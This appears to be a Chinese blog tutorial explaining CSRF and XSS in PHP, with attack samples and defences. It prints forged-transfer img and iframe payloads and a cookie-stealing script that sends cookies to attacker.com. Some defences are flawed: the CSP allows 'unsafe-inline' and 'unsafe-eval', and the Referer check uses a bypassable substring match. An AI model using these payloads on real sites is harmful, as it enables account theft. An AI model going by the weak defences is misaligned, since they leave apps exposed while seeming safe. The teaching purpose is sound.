PHP `CSRF` (跨站请求伪造) 与 `XSS` (跨站脚本攻击) 攻击与防御

嘿,各位代码界的英雄们,今天咱们不聊诗和远方,就聊聊那些潜伏在代码里的“小偷”和“间谍”:CSRF 和 XSS。别怕,听起来吓人,其实掌握了技巧,它们就是纸老虎!今天我就化身“代码保安”,带大家了解它们的作案手法,并教大家如何练就金钟罩铁布衫,保护我们的代码王国。

开场白:代码世界的“小偷”和“间谍”

在浩瀚的代码世界里,CSRF (Cross-Site Request Forgery,跨站请求伪造) 和 XSS (Cross-Site Scripting,跨站脚本攻击) 就像两个狡猾的家伙。CSRF 像个“小偷”,它会偷偷冒充你,干一些你没授权的事情;而 XSS 则像个“间谍”,它会潜伏在你信任的网站里,窃取你的信息或者搞破坏。

第一幕:CSRF – “瞒天过海”的请求伪造

想象一下,你登录了一个银行网站,准备转账 100 元给你的朋友。这时,一个“坏人”通过某种手段(比如一个恶意链接或图片)让你访问了一个伪造的请求,这个请求看起来就像是你自己发出的,但实际上是将 1000 元转到了“坏人”的账户上。这就是 CSRF 的基本原理:它利用你已经获得的身份验证,冒充你执行操作。

CSRF 的作案手法:

  1. 用户登录: 受害者先登录一个受信任的网站(比如银行网站)。
  2. 恶意链接/图片: 攻击者通过邮件、论坛或其他方式,诱导受害者点击一个恶意链接或访问包含恶意代码的页面。这个链接或代码会向受信任的网站发送一个伪造的请求。
  3. 请求执行: 如果受害者点击了恶意链接,并且仍然处于登录状态,浏览器会自动携带用户的 Cookie 信息发送请求到受信任的网站。服务器接收到请求后,因为有 Cookie 验证,会认为是用户自己发起的请求,从而执行操作。

举个栗子:

假设你的银行网站 bank.com 有一个转账的接口:

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="account" value="receiver_account">
  <input type="hidden" name="amount" value="1000">
  <button type="submit">转账</button>
</form>

攻击者可能会构造一个这样的链接:

<img src="https://bank.com/transfer?account=attacker_account&amount=1000&csrf_token=valid_csrf_token" width="0" height="0">

或者,更隐蔽一点,通过 JavaScript 发起请求:

<script>
  window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = 'none';
    iframe.src = 'https://bank.com/transfer?account=attacker_account&amount=1000&csrf_token=valid_csrf_token';
    document.body.appendChild(iframe);
  }
</script>

如果用户访问了包含这些代码的页面,并且已经登录了 bank.com,那么就会在用户不知情的情况下,向攻击者的账户转账 1000 元。

CSRF 的防御策略:

  • 验证码 (CAPTCHA): 在关键操作(如转账、修改密码)前,要求用户输入验证码。这可以有效阻止自动化脚本的攻击,但会牺牲用户体验。

    <?php
    session_start();
    
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
      if ($_POST["captcha"] == $_SESSION["captcha"]) {
        // Process the request
        echo "Transfer successful!";
      } else {
        echo "Invalid captcha.";
      }
    }
    ?>
    
    <form method="post">
      <label for="captcha">Enter the captcha:</label>
      <input type="text" id="captcha" name="captcha">
      <img src="captcha.php" alt="Captcha image">
      <input type="submit" value="Submit">
    </form>
    
    <?php
    // captcha.php
    session_start();
    
    // Generate a random string
    $captcha_code = substr(md5(rand()), 0, 6);
    $_SESSION["captcha"] = $captcha_code;
    
    // Create an image
    $image = imagecreatetruecolor(100, 30);
    $bg_color = imagecolorallocate($image, 255, 255, 255);
    $text_color = imagecolorallocate($image, 0, 0, 0);
    
    // Fill the background
    imagefill($image, 0, 0, $bg_color);
    
    // Add the text
    imagestring($image, 5, 30, 8, $captcha_code, $text_color);
    
    // Output the image
    header("Content-type: image/png");
    imagepng($image);
    imagedestroy($image);
    ?>
  • Referer Check: 检查 HTTP Referer 头部,确保请求来自可信的来源。但这种方法并不完全可靠,因为 Referer 头部可以被伪造。

    <?php
    $referer = $_SERVER['HTTP_REFERER'];
    $allowed_domains = ['bank.com']; // 允许的域名
    
    $is_allowed = false;
    foreach ($allowed_domains as $domain) {
      if (strpos($referer, $domain) !== false) {
        $is_allowed = true;
        break;
      }
    }
    
    if (!$is_allowed) {
      die('Invalid Referer!');
    }
    
    // Process the request
    echo "Transfer successful!";
    ?>
  • SameSite Cookie 属性: 设置 Cookie 的 SameSite 属性为 StrictLax,可以限制 Cookie 在跨站请求中的发送。Strict 最严格,只允许同站请求携带 Cookie;Lax 允许部分跨站请求(如链接和预加载)携带 Cookie。

    <?php
    setcookie("session_id", "your_session_id", ["samesite" => "Strict"]);
    // 或者
    setcookie("session_id", "your_session_id", ["samesite" => "Lax"]);
    ?>
  • 同步器令牌 (CSRF Token): 这是最常用的防御方法。为每个用户的会话生成一个唯一的、随机的令牌,并将它添加到表单或请求的 URL 中。在服务器端验证请求中的令牌是否与用户的会话令牌匹配。

    实现步骤:

    1. 生成令牌: 在用户登录后,生成一个随机的 CSRF 令牌,并将其存储在用户的会话中。

      <?php
      session_start();
      
      if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
      }
      
      $csrf_token = $_SESSION['csrf_token'];
      ?>
    2. 添加到表单/URL: 将 CSRF 令牌添加到表单的隐藏字段或请求的 URL 中。

      <form action="transfer.php" method="POST">
        <input type="hidden" name="csrf_token" value="<?php echo $csrf_token; ?>">
        <input type="text" name="account" value="receiver_account">
        <input type="text" name="amount" value="100">
        <button type="submit">转账</button>
      </form>

      或者,对于 AJAX 请求:

      var xhr = new XMLHttpRequest();
      xhr.open('POST', 'transfer.php');
      xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      xhr.setRequestHeader('X-CSRF-Token', '<?php echo $csrf_token; ?>'); // 通常使用自定义 Header
      xhr.send('account=receiver_account&amount=100&csrf_token=<?php echo $csrf_token; ?>');
    3. 验证令牌: 在服务器端,验证请求中的 CSRF 令牌是否与用户的会话令牌匹配。

      <?php
      session_start();
      
      if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (!empty($_POST['csrf_token']) && hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
          // Process the request
          echo "Transfer successful!";
          unset($_SESSION['csrf_token']); // 令牌用完后销毁,防止重复利用
        } else {
          die("CSRF token validation failed.");
        }
      }
      ?>

      重要提示:

      • hash_equals() 函数用于防止时序攻击,确保比较 CSRF 令牌时的安全性。
      • 为了防止 CSRF 令牌被重复利用,可以在验证成功后立即销毁会话中的令牌,并在下次请求时生成新的令牌。
      • 对于 AJAX 请求,通常将 CSRF 令牌添加到自定义的 HTTP Header 中,而不是作为请求参数。

CSRF 防御总结:

防御手段 优点 缺点 适用场景
验证码 (CAPTCHA) 简单有效,可以有效阻止自动化脚本的攻击。 影响用户体验,用户需要手动输入验证码。 关键操作,如转账、修改密码。
Referer Check 简单易实现。 不可靠,Referer 头部可以被伪造。 作为辅助手段,不能作为唯一的防御措施。
SameSite Cookie 可以限制 Cookie 在跨站请求中的发送,减少 CSRF 攻击的风险。 可能会影响某些合法的跨站请求。 现代浏览器,对安全性要求较高的场景。
同步器令牌 (CSRF Token) 安全可靠,可以有效防御 CSRF 攻击。 实现相对复杂,需要服务器端和客户端配合。 所有需要保护的 POST 请求。

第二幕:XSS – “潜伏”在网站里的脚本间谍

XSS 攻击就像“间谍”,它会将恶意脚本注入到受信任的网站中,当用户浏览这些包含恶意脚本的页面时,脚本会在用户的浏览器上执行,从而窃取用户的信息、篡改页面内容,或者进行其他恶意操作。

XSS 的作案手法:

  1. 攻击者找到漏洞: 攻击者找到网站中存在 XSS 漏洞的地方,通常是用户可以输入内容,并且这些内容会被显示在页面上的地方,比如评论区、搜索框、用户个人资料等。
  2. 注入恶意脚本: 攻击者在这些地方输入恶意脚本,比如 JavaScript 代码。
  3. 用户访问: 其他用户访问包含恶意脚本的页面。
  4. 脚本执行: 用户的浏览器会执行这些恶意脚本,从而导致 XSS 攻击。

XSS 的类型:

  • 存储型 XSS (Persistent XSS): 恶意脚本被存储在服务器的数据库中,当用户访问包含这些脚本的页面时,脚本会被执行。这种 XSS 攻击的危害最大,因为它可以影响到所有访问该页面的用户。
  • 反射型 XSS (Reflected XSS): 恶意脚本通过 URL 参数传递给服务器,服务器将脚本返回给用户,用户的浏览器执行脚本。这种 XSS 攻击通常需要诱导用户点击恶意链接。
  • DOM 型 XSS (DOM-based XSS): 恶意脚本不经过服务器,直接在用户的浏览器端执行。攻击者通过修改页面的 DOM 结构来注入恶意脚本。

举个栗子:

假设你的网站允许用户发表评论,并且直接将用户的评论显示在页面上。

<div>
  <?php echo $_GET['comment']; ?>
</div>

如果攻击者在评论中输入以下内容:

<script>alert('XSS Attack!');</script>

那么,当其他用户访问包含这条评论的页面时,就会弹出一个警告框,表明 XSS 攻击成功。更恶劣的情况是,攻击者可以窃取用户的 Cookie 信息,并将信息发送到自己的服务器上。

<script>
  var cookie = document.cookie;
  window.location = 'https://attacker.com/steal_cookie.php?cookie=' + cookie;
</script>

XSS 的防御策略:

  • 输入验证 (Input Validation): 对用户输入的数据进行验证,确保输入的数据符合预期的格式。例如,限制用户输入的字符类型、长度等。

    <?php
    $comment = $_GET['comment'];
    
    // 过滤 HTML 标签
    $comment = strip_tags($comment);
    
    // 限制字符长度
    $comment = substr($comment, 0, 200);
    
    echo "<div>" . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . "</div>";
    ?>
  • 输出编码 (Output Encoding): 对输出到页面的数据进行编码,将特殊字符转换为 HTML 实体。例如,将 < 转换为 &lt;,将 > 转换为 &gt;

    • htmlspecialchars() 函数:将特殊字符转换为 HTML 实体,防止浏览器将其解析为 HTML 标签。
    • ENT_QUOTES:编码单引号和双引号。
    • UTF-8:指定字符编码。
  • 内容安全策略 (CSP): CSP 是一种声明机制,允许网站告诉浏览器哪些来源的内容是安全的。通过 CSP,可以限制浏览器加载的资源,从而减少 XSS 攻击的风险。

    配置 CSP:

    1. HTTP Header: 通过 HTTP Header 设置 CSP。

      Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:; style-src 'self' 'unsafe-inline';
      • default-src 'self':默认只允许加载来自同一域名下的资源。
      • script-src 'self' 'unsafe-inline' 'unsafe-eval':允许加载来自同一域名下的脚本,允许内联脚本和使用 eval() 函数。
      • img-src 'self' data::允许加载来自同一域名下的图片,允许使用 data URI。
      • style-src 'self' 'unsafe-inline':允许加载来自同一域名下的样式,允许内联样式。
    2. HTML Meta 标签: 通过 HTML Meta 标签设置 CSP。

      <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:; style-src 'self' 'unsafe-inline';">
  • 使用安全的框架和库: 许多现代 Web 框架和库都内置了 XSS 防御机制,可以帮助开发者更轻松地构建安全的应用程序。例如,React、Angular、Vue.js 等。

XSS 防御总结:

防御手段 优点 缺点 适用场景
输入验证 可以有效防止恶意脚本注入,提高安全性。 可能会限制用户输入,影响用户体验。 所有用户输入的地方,如评论区、搜索框、用户个人资料等。
输出编码 可以防止浏览器将特殊字符解析为 HTML 标签,避免 XSS 攻击。 可能会导致输出的内容显示不正确。 所有输出到页面的数据。
内容安全策略 (CSP) 可以限制浏览器加载的资源,减少 XSS 攻击的风险。 配置相对复杂,需要仔细考虑安全策略。 现代浏览器,对安全性要求较高的场景。
安全的框架和库 提供了内置的 XSS 防御机制,可以帮助开发者更轻松地构建安全的应用程序。 可能会增加项目的复杂性。 所有 Web 应用程序。

第三幕:总结与升华

CSRF 和 XSS 都是 Web 安全领域常见的攻击方式,但只要我们掌握了正确的防御策略,就可以有效地保护我们的代码王国。

  • CSRF: 重点在于验证请求的来源,确保请求是由用户自己发起的。可以使用验证码、Referer Check、SameSite Cookie 和 CSRF Token 等方法进行防御。其中,CSRF Token 是最常用的防御方法。
  • XSS: 重点在于防止恶意脚本注入到页面中。可以使用输入验证、输出编码和内容安全策略等方法进行防御。其中,输出编码是最基本的防御方法。

记住,安全是一个持续的过程,需要我们不断学习和实践。只有不断提升自己的安全意识,才能在代码世界里披荆斩棘,成为真正的代码英雄!

尾声:

好了,今天的“代码保安”讲座就到这里。希望各位英雄们能够牢记这些安全知识,并将其应用到实际开发中。让我们一起守护代码世界的安全,共同创造一个更加美好的网络环境!记住,安全无小事,防患于未然!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注